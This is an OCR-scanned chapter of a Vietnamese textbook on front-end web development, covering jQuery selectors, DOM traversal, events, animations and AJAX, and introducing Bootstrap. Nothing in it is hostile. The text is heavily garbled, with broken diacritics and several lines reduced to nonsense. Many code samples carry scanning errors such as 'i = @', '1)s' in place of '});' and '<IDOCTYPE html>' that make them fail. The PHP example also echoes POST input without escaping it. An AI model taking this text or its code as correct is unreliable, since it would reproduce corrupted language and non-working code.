Chuong 5
THU VIEN PHAT TRIEN MAT TRUOC

5.1. GIOI THIEU

Phét trién mat trudc (front-end/client-side development) la viéc tao ra ma
nguon chay o trinh khach, ttc tao ra HTML, CSS va JavaScript cho ting dung web.
Nguoc lai véi khéi niém phat trién mat trude la khai niém phat trién mat sau
(back-end/server-side development). Phat trién mat sau la viéc tao ma ngudn chay
phia phuc vu. Trudc day, véi 16i phat trién cii, viéc tao ra ma ngudén HTML,
JavaScript va CSS thuong duoc thuc hién boi mat sau, bén phuc vu thuc hién hau
hét moi viéc trong khi trinh khach chi thuc hién cong viéc cudi cung 1a trinh dién.
Ngay nay, d€ tao ra nhitng ting dung web c6 hiéu ndng cao va trai nghiém nguoi
dung tot hon, haul hét moi cong viec, lai\dugd third hien 6fmat/trledc) mat sau chi
con dam nhan nhitng viéc khong thé chuyén vé mat truéc dwoc nhw luu tri
CSDL, kiém soat an ninh, kha nang mo rong, ... Kién tric cho tng dung web dugc
phat trién theo cach méi c6 tén goi la thick client — thin server.

Phat trién mat trede cd dac diém chung la st dung cac thu vién, cong cu va ky
thuat xtt ly HTML, JavaScript, CSS va DOM nham tao ra ma nguon chay phia
khach moét cach nhanh nhat va hiéu qua nhat, dam bao ma ngudn chay duoc trén
moi trinh duyét, hé diéu hanh va thiét bi. Thach thirc dat ra d6i voi phét trién mat
trwedce la cac cong cu va ky thuat duoc st dung lién tuc thay doi, do dé nguoi phat
trién tng dung web lién tuc phai cap nhat, nam bat dwoc xu huéng va lam cha
dwoc cong nghé moi.

Chuong nay gidi thiéu mot sd cong cu va ky thuat phat trién mat trudc dang
thinh hanh va cap nhat nhat hién nay. Luu y rang, bat luan ky thuat va cong cu
nao dugc st dung, ¢ ca mat trudc va mat sau, san pham cudi cung tng dung web
phai tao ra ludén 1a HTML, JavaScript va CSS. Trinh duyét chi yéu cau va chi c6 thé
hiéu nhitng cong nghé 16i nay. Madt khdc, nhitng cong nghé 16i it hoac cham thay
d6i, trong khi cac cdng cu va ky thuat phat trién tién héa mét cach nhanh chong.
Cong cu va ky thuat dwgc trinh bay & chuwong nay dang la cap nhat ¢ thoi diém
gido trinh dwoc viét (nam 2017-2018) nhung rat cd thé sé& trd nén 16i thoi va duoc
thay thé boi nhitng cong cu va ky thuat khac trong vai ndm téi. Do vay, viéc nim
viing cac kién thic da duoc trinh bay ¢ cac Chuwong 2-4 1a vO cung quan trong.
Nam vitng nhitng kién thitc va cong nghé nén tang do, cing véi viéc sdn sang tiép
can cong cu va ky thuat phét trién mai la yéu cau bat bude d6i véi moi lap trinh
vién phat trién tng dung web.
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5.2. JQUERY

Nhiéu thu vién JavaScript dwoc phat trién véi muc dich gitp quan ly trang
web duwoc don gidn va hiéu qua hon. jQuery la mot thu vién nhu vay. Khong
nhitng thé, jQuery la thw vién JavaScript dwoc st dung phd bién nhat. Theo thong
ké cua Q-Success'®, vao thang 3/2017, 96,6% cac trang web trén toan thé gidi sw
dung jQuery va thi phan cho jQuery van tiép tuc tang. Nhitng hang cong nghé 16n
nhat nhue Google, Microsoft, IBM ciing st dung jQuery.

jQuery lam viéc nhu nhau trén moi trinh duyét. Thu vién nay cho phép thuc
hién mdi tac vu chung chi bang mot 10i goi ham, trong khi néu khong st dung thu
vién, tadc vu phai dwoc thuc hién bé“mg nhiéu dong 1énh JavaScript thuan. jQuery
lam don gian héa xtt ly JavaScript, nhu thao tadc véi DOM hay goi AJAX. Thu vién
cling dé hoc va dé st dung. jQuery cung cap céac tinh nang thao tic HTML/DOM,
xtt ly si kién HTML, thao tac CSS, xtt Iy AJAX, hiéu ting va hoat canh, va cac tién
ich.

5.2.1. Bao hamyjQuery

bé st dung jQuery;-ed thé tai'thu vien (t€p .js)itai httpil/jquery.com/roi bao ham
tép thu vién vao trang"Wweb fhiee sau, thay 3:2.0 bifg phién ban'tfong tng:

1. <script type="text/javascript" src="jquery-3.2.0.min.js"></script>

hodc ¢6 thé bao ham thu vién jQuery tir cac CDN (Content Delivery Network) nhw
sau:

1. <script type="text/javascript" src="https://ajax.googleapis.com/ajax/libs/
jquery/3.2.0/jquery.min.js"></script>

5.2.2. Ca phap

jQuery c6 cti phap hét sttc ngan gon va dé hiu. N6 cho phép chon cac d6i
twong tai liéu roi thue hién hanh dong trén déi twgng dugce chon. Ca phap jQuery
nhuw sau:

$(selector).action();

trong do, selector la bd chon CSS bat ky, action() la phwong thirc jQuery. Viéc
jQuery st dung cac bd chon CSS dé€ chon cac ddi twong tai liéu giap cho 1ap trinh
vién web c6 thé st dung jQuery ngay ma khong phai mat nhiéu thoi gian d€ tim
hiéu vé no.

Hay xem hoat dong ctia jQuery va so sanh v6i JavaScript thuan qua mét vi du
cu thé sau. Gia st trang web c6 nhiéu doan van (<p>) va mot yéu cau duoc dua ra
la hay an viéc hién thi tat ca cac doan van c6 thudc tinh class="test”. C6 thé thuc
hién yéu cau nay bang JavaScript thuan nhw sau:

1 https://w3techs.com/
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1. var arr = document.querySelectorAll("p.test");
2. for (var i = @; i < arr.length; i++) arr[i].hide();

Dau tién, phuong thic querySelectorAll() dwoc goi d€ tra vé mang tham chiéu cta
tat ca cac doi tuong doan van co class="test”. Ti€p theo, mot vong lap dwoc thuc
hién dé& duyét qua tirng d8i tuong tham chiéu va goi phuong thitc hide() nham an
doi twong. Néu sit dung jQuery, yéu cau trén cd thé duoc thuc hién chi béng mot
101 goi nhu sau:

1. $("p.test").hide();

Vi 101 goi nay, jQuery sé thuc hién cac budc giong nhw doan ma JavaScript thuan
0 trude, tic la chon cac d6i twgng doan van co class="test” roi thyc hién phuong
thirc hide() trén cac d6i twong duwoc chon.

Luu y, chi st dung jQuery khi toan bd ma trang web da duoc tai vé, vi néu
khong nhu vay, jQuery cé thé truy cap dén ddi twong tai liéu khong ton tai va dan
dén 16i. Thuce hién diéu nay theo mau nhu sau:

1. $(document).ready(function(){
2. // Tat ca mad jQuery & day
3. 1)s

Ciing luu'y réng bam than‘cac trinh duyét séddhong-hieu caescau lénh duoc viet
bang jQuery. Thu vién jQuery cé nhiém vu tién xt 1y JavaScript, chuyén doi cac
cau 1énh duoc viét bang jQuery thanh ma JavaScript thuan dé trinh duyét hiéu va
thuec thi.

5.2.3. Doc va thay d6i gia tri thudc tinh caa d6i tugng tai liéu

jQuery cung cap cac phuwong thiic sau day cho viéc doc gia tri thudc tinh cta
cac d6i tuwong tai liéu:

$(selector).attr(att) Tra vé gia tri thudc tinh att.
$(selector).html() Tra vé gia tri thudc tinh innerHTML.
$(selector).val() Tra vé gia tri thudc tinh value.
$(selector).text() Tra vé ndi dung van ban cta innerHTML.

Phuong thitc jQuery cho cdp nhat thudc tinh ctia d6i twong tai liéu c6 cung tén voi
phuong thitc doc nhung c6 tham s6. Hon nita, c6 nhiéu thé hién/chéng ham khac
nhau cho mdt phuong thitc cap nhat thudc tinh. Mot chong ham nhan tham sé la
gia tri mdi cho thudce tinh. Chong ham khac nhan tham s6 la ham goi lai (callback).
Thtt tu tab ctia doi twong tai liéu va gia tri hién tai cua thudc tinh dwoc truyén cho
ham goi lai. Ham goi lai dwoc thuc thi va gia tri tra vé cta no la gia tri méi cho
thudc tinh. Cac thé hién dugc liét ké dudi day:

Cap nhat gia tri thudc tinh att
$(selector).attr(“att”, “new value”)
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$(selector).attr({“attl”:“new valuel”, “att2”:“new value2”, ...})
$(selector).attr(“att”, function(i, oldValue) {return newValue})
Cap nhat thudc tinh value
$(selector).val(newValue)
$(selector).val(function(i, oldValue) {return newValue})
Cap nhat thuoc tinh innerHTML v6i ngi dung HTML
$(selector).html(newHtml)
$(selector).html(function(i, oldHtml) {return newHtml})
Céap nhat thudc tinh innerHTML v6i ndi dung van ban
$(selector).text(newText)
$(selector).text(function(i, oldText) {return newText})

Trong viduy sau)ma jQuerydocva thongbao gid tri\¢cacthudg tinhjctia mot lién
két, sau dé doinhan cua lién két nay.
1. <!DOCTYPE html><html><head>
2. <title>L.5.2.3</title>

3. <meta charset="utf-8">
4. </head><body>

5. <a id="uet" href="http://uet.vnu.edu.vn">Trudng PH Céng nghé</a>
6. <script src="jquery.js"></script>

7. <script>

8. $(document).ready( function () {

9. alert($("#uet").text() + ": " + $("#uet").attr("href"));

10. $("#uet").text("Website Truong Pai hoc Cong nghé");

11. 1)

12. </script>
13. </body></html>

5.2.4. Thay déi ki€u trinh dién d8i twgng tai liéu

Twong tw doc va thay d6i gia tri thudc tinh néi chung, jQuery cung cap cac
phuong thirc cho viéc doc va thay d6i CSS cta cac doi tuong tai liéu. Co thé truy
cap ting thudc tinh hay ca 16p CSS bang cac phurong thtic jQuery sau:

$(selector).css("p”) Doc gia tri CSS ctia thudc tinh p.
$(selector).css({"p1”:"v1”, "p2”:"v2",...}) Dat gia tri CSS cho p1, p2, ...
$(selector).addClass(“cssclass”) Thém l6p CSS.
$(selector).removeClass(“cssclass”) Bo 16p CSS.
$(selector).toggleClass(“cssclass”) Bat/tat 16p CSS.

Trong trang web vi du sau day, hai 16p CSS la .important va .blue dwgc gan cho
do6i teong tai liéu c¢6 dinh danh divl. Két qua la van ban caa d6i twong nay duoc
hién thi v6i cht mau xanh, phong chir to va dam.
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<!DOCTYPE html><html><head>
<title>L.5.2.4</title>
<meta charset="utf-8">
<style type="text/css">
.important { font-weight:bold; font-size:xx-large; }
.blue { color:blue; }
</style>
</head><body>
<div id="div1">Noéi dung van ban.</div>
<div id="div2">Néi dung van ban khac.</div>
<script type="text/javascript" src="jquery.js"></script>
<script type="text/javascript"” >
$(document) .ready(function(){
$("#divl").addClass("important blue");
})s
</script>
</body></html>

5.2.5. Thém mdi, loai bo ddi twong tai liéu

jQuery; cung-céap, nhiéu;phuong thite cho viéc thém moi va loai bo cac doi

tuong DOM nhtt sau:
$(selector).prepend(child1], child2, ..]) Thém ¢ac nut con vao dau.
$(selector).append(child1'[child2, ...]) Thém cdeniat con vao cudi.
$(selector).before(presiblingl [, presibling2, ...]) Thém cac nat lién trude.
$(selector).after(nextsiblingl [, nextsibling2, ...]) Thém cac nat lién sau.
$(selector).empty() Xba tat ca cac nut con.
$(selector).remove() Xda d6i twong cling cac nut con.

Trong trang web vi du sau day, ba d6i twong doan van lan lwgt duoc tao va thém
vao cay DOM. Dé6i tuong thit nhat dugc tao theo ¢t phdp cta jQuery. Hai d6i
tong con lai duwoc tao bang JavaScript thuan. Cac phuwong thike append() va after()
cta jQuery sau dé duoc goi dé€ thém cac nut vira tao vao cay DOM.

15.
16.
17.
18.

<!DOCTYPE html><html><head>
<title>L.5.2.5¢</title>
<meta charset="utf-8">
</head><body>
<div id="app"></div>
<script src="jquery.js"></script>
<script>
$(document) .ready(function(){
var txtl = $("<p></p>").text("Text 1"); // Tao bang jQuery
var txt2 = document.createElement("p"); // Tao bang DOM
var txt3 = document.createElement("p");
txt2.innerHTML = "Text 2";
txt3.innerHTML = "Text 3";
$("#app").append(txtl, txt2);
txt2.after(txt3);
1)
</script>
</body></html>
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5.2.6. Duyét DOM

$(selector) la cu phap don gian, hiéu qua dé€ chon cac doi tuong tai liéu mot
cach truc tiép. Khong nhiing vay, jQuery con cung cdp nhiéu phuong thitc don
gian khdc d€ chon cac d6i twong thudc cung nhanh cay DOM mot cach gian tiép.
Nhitng phuong thiic nay gitip cho viéc duyét DOM dé dang hon 1a st dung céc
thudc tinh cta d6i twong theo JavaScript thudn nhuw parentNode, childNodes,
previousSibling, nextSibling. Cac phuong thiic chon cac d6i tuwong thudc cung
nhanh cdy DOM mét cach gian tiép con duoc goi la phuong thirec duyét DOM,
duoc liét ké va mo ta duwdi day. Luu y, $(sel) la tap cac d6i tuong dwoc chon boi bd
chon sel.

$(selector).parent()

Chon céc d6i twong cha ctia cac d6i twgng thudc $(selector).
$(selector).parents()

Chon/cacdditiieng to, tién-cira cdc|ddi trong thudc $tselegtor).
$(selector).parerits(selector_filter)

Chon cac doi tong to tiéneaa cac ddi tiong thude $(selector) yoi diéu kién
do6i twong to tien thuoc $(selector_filter).

$(selector).parentsUntil(selector_stop)

Chon cac d6i tuong to tién cta cac ddi twong thudc $(selector) véi diéu kién
doi tuong to tién khong thudc $(selector_stop) va $(selector_stop).parents().
Noi cach khac, phuong thirc nay sé tim kiém cac d6i tuwong to tién tir dwdi
1én cho dén khi gdp t0 tién duoc chi dinh boi selector_stop.

$(selector).parentsUntil(selector_stop, selector_filter)

Chon cac d6i tuong to tién cta cac doi twgng thudc $(selector) voi diéu kién
doi tuwong to tién thudc $(selector_filter) nhung khong thudc $(selector_stop)
va $(selector_stop).parents().

$(selector).children()
Chon céc d6i twong con cua cac d6i twong thude $(selector).
$(selector).children(selector_filter)

Chon cac d6i twong con cua cac doi tuwong thudce $(selector) véi diéu kién doi
tuong con thudc $(selector_filter).

$(selector).find()

Chon cac d6i tuwong thudc dong doi (con, chau, chdt, ...) cta cac d6i teong
thuoc $(selector).

$(selector).find(selector_filter)
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Chon céac d6i twong thudc dong doi caa cac d6i twong thudc $(selector) véi
diéu kién ddi tuwgng con thudc $(selector_filter).

$(selector).siblings()
Chon cac d6i twgng anh, em cta cac doi tuwong thudc $(selector).
$(selector).siblings(selector_filter)

Chon cac d6i tuwong anh, em cta cac ddi twong thudc $(selector) voi diéu
kién d6i twong anh, em thudc $(selector_filter).

$(selector).next()
Chon cac d6i twgng em lién sau cua cac doi tuwong thudc $(selector).
$(selector).next(selector_filter)

Chon cac d6i tuong em lién sau ctia cac doi twong thudc $(selector) voi diéu
kién d6i twong em lién sau thudc $(selector_filter).

$(selector)nextAll()
Chon cac doi teeeng emycua/cac déirtwongthudc $(selector)
$(selector).nextAll(selector.filter)

Chon cac ddi twgng em cua cac doi twong thudc $(selector) véi diéu kién doi
tuong em thudc $(selector_filter).

$(selector).nextUtil(selector_stop)

Chon cac ddi tugng em cua cac ddi twong thudce $(selector) véi diéu kién doi
twong em khong thudc $(selector_stop) va $(selector_stop).nextAll(). Noi cach
khéc, phwong thirc nay sé tim kiém cac d6i twong em tir trén xudng cho dén
khi gdp nat em duoc chi dinh boi selector_stop.

$(selector).nextUtil(selector_stop, selector_filter)

Chon cac ddi tugng em cua cac ddi twong thudc $(selector) voi diéu kién doi
tuong em thudc $(selector_filter) nhung khong thudc $(selector_stop) va
$(selector_stop).nextAll().

$(selector).prev()
Chon cac d6i teong anh lién trudce ctua cac doi twong thudc $(selector).
$(selector).prev(selector_filter)

Chon cac doi twgng anh lién trude ctia cac doi twong thudce $(selector) voi
diéu kién ddi twgng anh lién trude thudce $(selector_filter).

$(selector).prevAll()
Chon céc d6i twong anh cua cac d6i twong thudc $(selector).

$(selector).prevAll(selector_filter)
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Chon céc d6i twong anh cua cac d6i tuong thudc $(selector) véi diéu kién doi
teong anh thudc $(selector_filter).

$(selector).prevUtil(selector_stop)

Chon cac d6i twong anh cua cac doi tuong thudc $(selector) voi diéu kién doi
twong anh khong thudc $(selector_stop) va $(selector_stop).prevAll(). N6i cach
khéc, phuong thirc nay sé tim kiém cac d6i twong anh tir dwdi 1én cho dén
khi gap nat anh dwoc chi dinh bdi selector_stop.

$(selector).prevUtil(selector_stop, selector_filter)

Chon cac d6i twong anh cua cac doi tuong thudc $(selector) voi diéu kién doi
tuong anh thudc $(selector_filter) nhung khong thudc $(selector_stop) va
$(selector_stop).prevAll().

$(selector).first()

Chon d6i twong dau tién thudc $(selector).
$(selector)last()

Chon d6i twgng cudi cung thudc $(selector).
$(selector).eq(index)

Chon d6i twong thit index thudc $(selector).
$(selector).filter(selector_filter)

Chon d6i tuong thudc $(selector) véi diéu kién d6i twong cling thudc
$(selector_filter).

$(selector).not(selector_filter)

Chon dd6i twong thudc $(selector) voi diéu kién doi twong khong thude
$(selector_filter).

Trong trang web vi du sau day, hai ddi twong <span> nam trong <div> duoc
chon va chit bén trong chung duwoc in mau do.

1. <IDOCTYPE html><html><head>

2 <title>L.5.2.6</title>

3. </head><body>

4, <div> div dugc chon</div>

5 <span>span khéng dugc chon</span>
6 <div>div dugc chon

7 <span>span dugc chon</span>

8. <p>p <span>span dugc chon</span> </p>
9. </div>

10. <script src="jquery.js"></script>
11. <script>

12. $(document).ready(function(){
13. $("div").find("span").css({"color":"red"});
14. s

15. </script>
16. </body></html>
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5.2.7. X1t ly sy kién trén d6i tugng tai liéu

jQuery cung cap cac phuong thitc bao gdi lén cac con tro su kién va phuong
thire sy kién cua cac doi twong tai liéu, giap cho viéc kich hoat hay bét va xtr ly sw
kién trd nén don gian hon. Cac phwong thitc bao goi duoc liét ké nhu sau:

Mouse Keyboard Form Document/Window
click keypress submit load

dblclick keydown change resize

mouseenter  keyup focus scroll

mouseleave blur unload

Di€m dic biét 1a mdi phuong thitc bao goi déu c¢6 hai thé hién, mot thé hién
khong c6 tham s6 dung dé€ kich hoat su kién, thé hién con lai ¢6 tham sd la ham sé
duoc goi khi sy kién xay ra. Vi du, click() 1a thé hién dwgc dung d€ tao ra sy kién
kich chudt trén d06i tuong, trong khi click(function(){}) la phwong thirc duwoc goi khi
su kién kich chudt.trén doi tuwong xay ra.

Trong trang web vi dugsau day,moi khi ngetoi dung,gd nhap "Ho tén", sy kién
nha phim dugc bat v& i ly" Néu/phim ¥tragdld Enter, tam di€m $é droc chuyén
dén 6 nhap 'Ngay sinh".

1. <IDOCTYPE html><html><head>

2 <title>L.5.2.7</title>

3 <meta charset="utf-8">

4. </head><body>
5. <label for="hoten">Ho tén:</label>
6 <input type="text" id="hoten"/>
7 <br/>
8. <label for="ngaysinh">Ngay sinh:</label>
9. <input type="text" id="ngaysinh"/>
10. <script src="jquery.js"></script>
11. <script>

12. function hotenKeyUp(e) {

13. if (e.keyCode == 13) $("#ngaysinh").focus();
14. }

15. $(document).ready(function(){

16. $("#hoten") .keyup(hotenKeyUp);

17. 1)

18. </script>

19. </body></html>
5.2.8. Hiéu ttng

Dé€ thyee hién cac hiéu tng trén web, jQuery cung cdp nhiéu phuong thitc hiéu
qua nhue dugc mo ta dudi day:

$(selector).hide([duration] [, callback])
$(selector).show([duration] [, callback])
$(selector).toggle([duration] [, callback])
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An/hién/an hoic hién ddi twong dwgc chon. Néu c6 tham s6, hiéu
tng sé duoc thuc hién trong duration mili giay (ms), khi hiéu tng
hoan thanh, ham callback sé duoc goi. Cé thé truyén cac gia tri
"slow", "fast" cho duration.

$(selector).fadeln([duration] [, callback])
$(selector).fadeOut([duration] [, callback])
$(selector).fadeToggle([duration] [, callback])

ﬁn/hién/?in hodc hién d6i twong duoc chon mot cach tur tir b?mg
cach lam mo/rd dan hién thi cua d6i tuong. Néu cd tham sd, hiéu
tng s€ dwoc thyre hién trong duration mili giay (ms), khi hiéu tng
hoan thanh, ham callback sé dugc goi. Cé thé€ truyén cac gia tri
"slow", "fast" cho duration.

$(selector).fadeTo(duration, opacity [, callback])

Lam mo/r6 lhiémithi icia d6i teong-den mot-do duc Xac dinh. Hiéu
tng sé duog thuc hién trong duration milingidy (ms), khi hiéu tng
hoan (thanh, ham gallback sé|duoc|goi. Co thé.truyén cac gia tri
"slow"»fast" eho duration. epacitynhan-gid tri thwe trong doan tir 0
dén 1 véi 0 la dn hoan toan ddi tuong trong khi 1 1a hién thi rd rang
doi tuong.

$(selector).slideDown([duration] [, callback])
$(selector).slideUp([duration] [, callback])
$(selector).slideToggle([duration][, callback])

An/hién/an hodc hién d6i teong dwoc chon voi hiéu Gng tha
xudng/kéo 1én. Néu c6 tham s6, hiéu tng sé duoc thuc hién trong
duration mili giay (ms), khi hiéu &ng hoan thanh, ham callback sé
duoc goi. Co thé truyén cac gia tri "slow", "fast" cho duration.

$(selector).animate({cssProperties} [, duration] [, callback])

Thuc hién cac hiéu ting tuy bién theo tap cac thudc tinh CSS. Néu co
tham s0, hiéu ting sé dwgc thuc hién trong duration mili giay (ms),
khi hiéu ting hoan thanh, ham callback sé duoc goi. Cé thé truyén
cac gia tri "slow", "fast" cho duration. Luu y, tén cac thudc tinh CSS
duoc viét theo ci phap cua JavaScript, hay thudc tinh DOM, vi du
paddingLeft, fontStyle, ... Néu mudn thay doéi vi tri cua d6i tuwong thi
trede d6 vi tri trinh dién cua d6i twong (position) phai khac tinh
(static). C6 thé thuc hién lién ti€p nhiéu hiéu tng. Cac hiéu tng
chwa dwoc thuc hién sé duoc dét trong hang doi cho dén khi hiéu
tng tredc né dwoc hoan thanh.
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$(selector).stop([clearQueue] [, jumpToEnd])

Dutng hiéu tng hién tai dang dugc thuc hién. Néu clearQueune dugc
dat 1a true, cac hiéu tng dang cho trong hang doi cting bi huy bo.
Néu jumpToEnd la true, hiéu tng hién tai sé duoc ding ngay lap
tic.

Trong trang web vi du sau day, mot loat cac hiéu ting duoc thuc hién trén d6i
twong <div> khi nguroi dung kich chuét vao nit bAm cé nhan "Start Animations".
Dau tién, do6i twong nay duoc di chuyén sang phai dong thoi téng kich thudce ca
chiéu cao va chiéu rong. Ti€p theo, d6i tuong dwoc di chuyén vé vi tri ban dau roi
chiéu cao duoc thu vé chiéu cao ban dau. Cudi cung, d6i twong duoc lam mo dan
r6i An han. Trong khi cac hiéu tng dang dién ra, néu nguodi dling bam vao nut 6
nhan "Stop Current Animation", hiéu tng hién tai sé bi bo qua dé€ chuyén sang
hiéu tng tiép theo, nguwoc lai néu nguodi dung bam vao nut ¢ nhan "Stop All
Animations", hiéu tng hién tai bi ditng va cac hiéu tng ti€p sau bi bo qua.

1. <!DOCTYPE html><html><head>

2. <title>L.5.2.8</title>

3. <meta charset="utf-8">

4. </head><body>

5. <button id="buttonl">Start Animations</button>

6. <button id="button2">Stop Current Animation</button>

7. <button id="button3">Stop All Animations</button>

8. <div style="background:#98bf21; height:100px; width:100px; position:rel
ative;"></div>

9. <script src="jquery.js"></script>

10. <script>

11. $(document).ready(function() {

12. $("#buttonl").click(function() {

13. $("div").animate({

14. left: '250px',

15. height: '+=150px’',

16. width: '350px’

17. 1

18. .animate({left: '@px'}, "slow")

19. .animate({height:'-=150px"'}, "slow")

20. .fadeOut(500);

21. })s

22. $("#button2").click(function() {

23. $("div").stop();

24. })s

25. $("#button3").click(function() {

26. $("div").stop(true, true);

27. })s

28. })s

29. </script>
30. </body></html>

5.2.9. jQuery AJAX

AJAX la ky thuat trao d6i di liéu mot cach hiéu qua véi bén phuc vu nhw da
duoc trinh bay trong Muc 4.5. Tuy vay, voi JavaScript thuan, cdc cau lénh AJAX
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thuong dai va kho hiéu, c6 thé khong chay dwoc trén moi trinh duyét. jQuery khéc
phuc nhitng han ch& nay bang viéc cung cap cac phuong thiic hét stic don gian va
manh mé, bao gom load(), $.get(), va $.post().

Phuong thitc load() gitp cho viéc tai b phan cua trang web trd nén rat don
gian, chi can chi dinh tai ndi dung gi vao d6i twong DOM nao. Cu thé,
$(selector).load(url [selector_filter] [, param] [, callback]) c6 tac dung tai ndi dung tai
liéu tai url theo AJAX va dat ngi dung tra vé cho innerHTML cta cac d6i tuong
duoc chon boi selector. Néu cd tham s6 selector_filter, ndi dung dwoc tai vé sé dugc
loc boi selector_filter trude khi dat vao doi tuong dugce chon. C6 thé truyén dir liéu
cho bén phuc vu bé“mg param, 1a tap cac cdp tham so/gia tri. Khi do, load() sé€ s
dung phuong thitc POST dé€ gui yéu cau HTTP. Mac dinh, load() st dung cac yéu
cau HTTP v6i GET. Ngoai ra, ¢ thé chi dinh ham duwoc goi lai khi viéc tai thanh
cong. Ham goi lai c6 cac tham sO responseTxt, statusTxt, xhr, trong dé responseTxt la
ndi dung tai liéu tra vé, statusTxt la trang thai dap tng HTTP va xhr la ddi tuong
XMLHttpRequest da duoc jQuery tao ra dé thyc hién trao dai dix liéu.

Cac phuong thirc $.get(url, callback)/$.post(url, param, callback) co tac dung tai tai
lieu tai url theo AJAX st dumg phuwong thitalGET/POST caaHTIP, frong tng.
Khi tai liéu\duoge/tai xong, ham goilai dwoc/goi. Ham goilai co hai tham s la data
va status, trong do data 1a noi dung cuta tai liéu va status la trang thai dap tng. Luu
y tham s8 (néu c6) dugc thé hién bang chudi truy van trong url ddi véi $.get() hodc
bang param 1a tap cac tham s6/gia tri d6i v6i $.post().

Trong vi du sau day, trang backend.php nhan hai tham s6 1a a va b theo phuong
thirc POST va tra vé mdt doan HTML, trong d6 cé d6i twong doan van véi dinh
danh p2 chtta gia tri ctia a va b. Trang frontend.htm st dung cdc phuong thttc
jQuery AJAX d€ tai noi dung tir backend.php. Dau tién, bang phuong thikc load(),
toan bd trang backend.php dwoc tai va dat vao d6i twong <div> c6 dinh danh la
entire_doc. Tiép theo, toan bd trang backend.php duwoc tai lai va ddt vao cac doi
tuong <div> c6 dinh danh 1a entire_doc2, entire_doc3, bang phuong thitc $.post() va
$(selector).html(). Cudi cung, trang backend.php duwoc tai lai mot lan ntta nhung chi
do6i twong doan van cd dinh danh p2 dwoc loc ra va dat vao déi tuwong <div> ¢
dinh danh p2_doc. Cac gia tri "Hoang" va 10 dwgc truyén cho a va b trong ca ba lan
goi.
<!-- backend.php -->
<h2>jQuery and AJAX is FUN!!!</h2>
<p id="pl">This is some text in a paragraph.</p>
<p id="p2">
<?php

echo "Your data: ".$ POST["a"]." and ".$ POST["b"];
?>
</p>

oOoNOOUVTDS WN R

=

. <!-- frontend.htm -->
2. <!DOCTYPE html><html><head>
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3 <title>L.5.2.9</title>

4. <meta charset="utf-8">

5. </head><body>

6 <div id="entire_doc"></div>
7 <div id="entire_doc2"></div>
8. <div id="entire_doc3"></div>
9. <div id="p2 doc"></div>

10. <script src="../jquery.js"></script>

11. <script>

12. $(document) .ready(function(){

13. $("#entire_doc").load("backend.php", {a: "Hoang", b: 10});
14. $.post("backend.php",

15. {a: "Hoang", b: "10"},

16. function(data, status) {

17. $("#entire_doc2").html(data);

18. $("#entire_doc3").html(data);

19. }

20. )

21. $("#p2_doc").load("backend.php #p2", {a: "Hoang", b: 10});
22. })s

23. </script>
24. </body></html>

5.3. BOOTSTRAP

Bootstrap la khung phat trién mat tredc, diroc phat trién dau tién boi cac ky su
cua Twitter, va hién nay dwgc duy tri boi mot cong dong ngudén mo 16n manh.
Theo thong ké ctia Q-Success's, vao thang 3/2017, 20,2% cac trang web trén toan
thé gisi st dung Bootstrap va thi phan cho Bootstrap van tiép tuc ting. Bootstrap
dugc thiét ké nham dap tng xu hudng giao dién thich tng va wu tién cho thiét bi
di ddng (responsive, mobile-first) trong phat trién ting dung web. Khung phat
trién nay cung cap ba dic trung hiru ich gom: (1) hé thong kiéu trinh dién CSS, (2)
hé thong ludi, va (3) cac thanh phan giao dién cung thw vién JavaScript cho twong
tac voi thanh phan giao dién. Céc ddc trung cua Bootstrap sé duwgc trinh bay trong
cac muc nho sau day.

5.3.1. Bao ham Bootstrap

bé st dung Bootstrap, c¢d thé tai thu vién (cac tép .css va .js) tai
http://getbootstrap.com ro6i bao ham tép vao trang web, hodc bao ham thw vién
Bootstrap ttt cac CDN, nhu sau:

1. <!DOCTYPE html><html><head>

2. <meta name="viewport" content="width=device-width, initial-scale=1">
3. <link rel="stylesheet" href="bootstrap.css">

4. </head><body>

5 <div class="container">Ndi dung trang web</div>
6. <script src="jquery.js"></script>
7 <script src="bootstrap.js"></script>
8. </body></html>
1 https://w3techs.com/
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Luu y, Bootstrap st dung cac ddi twong HTML va thudc tinh CSS yéu cau
HTML5 nén can chi dinh HTML5 DOCTYPE ngay dau trang web. Mat khac,
Bootstrap dwoc thiét k&é nham thich tng véi cac thiét bi. D€ giao dién trang web c6
thé thay d6i tuy theo thiét bi, d6i tuong <meta name="viewport”> can dwgc khai bao
trong tiéu dé, dong thoi d6i twong chita nén duoc khai bao trong than. D6i tuong
<meta> c¢b cac thudc tinh content véi ndi dung width=device-width cho biét chiéu
rong cua trang sé duoc ddt bf?mg chiéu rong cua man hinh thiét bi, initial-scale cho
biét d¢ phong/thu trang khi trang dugc tai xong. Ddi twgng chira thuong la <div>,
vOi class nhan mot trong hai 16p CSS 1a .container hoac .container-fluid. Voi 16p
.container, d6i twong chira ¢ chiéu rong cd dinh (tuy thiét bi). Vi 16p .container-
fluid, d6i twong chita c6 chigu rong bang chiéu rong ctia man hinh thiét bi. Dsi
twong chira khong thé chira d6i twong chira khac, tic cac d6i twong chira khong
thé Iong nhau.

Mot luu y khdc, trong nhiing truong hop don gian, st dung minh hé thong
kiéu trinh dién ctia Bootstrap, trang web khdng.can bao ham céc tép JavaScript.
Tép bootstrap.js'chi can! khi'trang! web mudn/tao-cac thanh phan' giao dién duoc
cung cap boi/Bootstrap cung voi fwong tac trén chdang“Khi dg, thu yién jQuery
cting can dugc bao ham'traedc vi nd la mot phu thudc ctia bootstrap.js.

5.3.2. Hé thong kié€u trinh dién CSS

Dic trung dau tién hiru ich ma Bootstrap mang lai 1a hé thong kiéu trinh dién
CSS. D€ khai thac ddc trung nay, chi can bao ham t€p bootstrap.css vao trang web.
Hé théng kiéu trinh dién CSS ctia Bootstrap sé thay thé hé thong kiéu trinh dién
madc dinh cta trinh duyét. Th nhat, hau hét cac bo chon theo phan tr van ban sé
duoc thay d6i ndi dung, mang dén cho giao dién trang web cai nhin va cdam nhan
(look-and-feel) t6t hon. Cac bd chon hi1-h6, label, small, mark, abbr, blockquote, dl,
code, kbd, pre, ... dugc thay d6i theo cach nay. Thit hai, vdi tirng 16p d6i twong tai
liéu cu thé, Bootstrap cung c&p nhiing 16p CSS riéng biét dé trinh dién ching. Cac
16p CSS riéng biét cho ting 16p d6i twong tai liéu sé duoc trinh bay tom tat dudi
day:

Bang

D€ trinh dién dit liéu theo dang bang, st dung d6i twong HTML <table>,
Bootstrap cung cdp 16p CSS co so .table va nhiéu 16p CSS nang cao nhu .table-
striped, .table-bordered, .table-hover, .table-condened, .table-responsive. C6 thé st dung
16p .table, két hop 16p .table v6i nhidu 16p .table-* khac d€ tao kiéu trinh dién cho
